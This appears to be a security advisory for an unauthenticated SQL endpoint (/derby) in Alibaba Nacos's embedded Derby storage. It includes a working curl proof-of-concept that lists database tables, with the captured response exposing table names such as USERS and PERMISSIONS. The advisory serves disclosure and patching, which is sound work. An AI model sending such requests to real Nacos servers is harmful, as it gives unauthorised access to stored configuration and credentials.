QID 982635

QID 982635: Java (maven) Security Update for com.alibaba.nacos:nacos-common (GHSA-xv5h-v7jh-p2qh)

The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users.

For example, the following request will list the tables of the database:
```
curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'
{"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}%
```

These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
